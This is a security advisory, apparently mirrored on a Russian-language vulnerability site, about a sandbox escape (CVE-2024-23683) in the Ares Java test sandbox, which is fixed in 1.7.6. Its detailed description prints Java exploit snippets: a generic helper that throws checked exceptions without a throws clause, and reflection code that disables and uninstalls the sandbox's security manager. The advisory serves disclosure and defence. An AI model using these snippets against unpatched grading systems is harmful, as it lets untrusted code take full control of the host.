GHSA-883x-6fch-6wjx

Опубликовано: 21 янв. 2022

Источник: github

Github: Прошло ревью

CVSS3: 8.2

Описание

Trust Boundary Violation due to Incomplete Blacklist in Test Failure Processing in Ares

Impact

This allows an attacker to create special subclasses of InvocationTargetException that escape the exception sanitization because JUnit extracts the cause in a trusted context before the exception reaches Ares. This means that arbitrary student code can be executed in a trusted context, and that in turn allows disabling Ares and having full control over the system.

Patches

Update to version 1.7.6 or later.

Workarounds

Forbid student classes in trusted packages like, e.g., described in https://github.com/ls1intum/Ares/issues/15#issuecomment-996449371

References

Are there any links users can visit to find out more? Not that I know of.

For more information

If you have any questions or comments about this advisory:

Open an issue in https://github.com/ls1intum/Ares/issues
Email us, see https://github.com/ls1intum/Ares/security/policy

Detailed description

Using generics, it is possible to throw checked exceptions without a throws clause:

ThrowWithoutThrowsHelper

public class ThrowWithoutThrowsHelper<X extends Throwable> { private final X throwable; private ThrowWithoutThrowsHelper(X throwable) { this.throwable = throwable; } private <R> R throwWithThrows() throws X { throw throwable; } public static <R> R throwWithoutThrows(Throwable throwable) { ThrowWithoutThrowsHelper<?> helper = new ThrowWithoutThrowsHelper<Throwable>(throwable); @SuppressWarnings("unchecked") ThrowWithoutThrowsHelper<RuntimeException> helperCasted = (ThrowWithoutThrowsHelper<RuntimeException>) helper; return helperCasted.throwWithThrows(); } }

Using this, it is possible for a malicious testee to throw an instance of a malicious subclass of InvocationTargetException (let's call it EvilInvocationTargetException).

This exception is catched by org.junit.platform.commons.util.ReflectionUtils::invokeMethod, which looks like this:

ReflectionUtils::invokeMethod

public static Object invokeMethod(Method method, Object target, Object... args) { Preconditions.notNull(method, "Method must not be null"); Preconditions.condition((target != null || isStatic(method)), () -> String.format("Cannot invoke non-static method [%s] on a null target.", method.toGenericString())); try { return makeAccessible(method).invoke(target, args); } catch (Throwable t) { throw ExceptionUtils.throwAsUncheckedException(getUnderlyingCause(t)); } }

This method calls getUnderlyingCause (of the same class), passing to it the catched, malicious exception as an argument.

ReflectionUtils::getUnderlyingCause

private static Throwable getUnderlyingCause(Throwable t) { if (t instanceof InvocationTargetException) { return getUnderlyingCause(((InvocationTargetException) t).getTargetException()); } return t; }

getUnderlyingCause in turn checks if the passed exception is instanceof InvocationTargetException, and if so, calls getTargetException on it. getTargetException can be overridden by subclasses of InvocationTargetException, like the EvilInvocationTargetException. If EvilInvocationTargetException is in a whitelisted package (for example de.tum.in.test.api.security.notsealedsubpackage), getTargetException will be called with the entire stack containing only whitelisted frames. This allows the attacker to uninstall the ArtemisSecurityManager in EvilInvocationTargetException::getTargetException:

Uninstalling ArtemisSecurityManager

SecurityManager secman = System.getSecurityManager(); Class<?> aresSecmanClass = secman.getClass(); Field isPartlyDisabledF = aresSecmanClass.getDeclaredField("isPartlyDisabled"); isPartlyDisabledF.setAccessible(true); isPartlyDisabledF.set(secman, true); System.setSecurityManager(null);

After uninstalling ArtemisSecurityManager, the attacker is free to do anything expressible in Java; including reading and writing any files, opening network connections, and executing arbitrary shell commands.

Ссылки

Пакеты

Наименование

de.tum.in.ase:artemis-java-test-sandbox

maven

Затронутые версииВерсия исправления

< 1.7.6

1.7.6

EPSS

Процентиль: 31%

0.0012

Низкий

8.2 High

CVSS3

CVE ID

CVE-2024-23683

Связанные уязвимости

CVE-2024-23683

CVSS3: 8.2

nvd

около 2 лет назад

Artemis Java Test Sandbox versions less than 1.7.6 are vulnerable to a sandbox escape when an attacker crafts a special subclass of InvocationTargetException. An attacker can abuse this issue to execute arbitrary Java when a victim executes the supposedly sandboxed code.

EPSS

Процентиль: 31%

0.0012

Низкий

8.2 High

CVSS3

CVE ID

CVE-2024-23683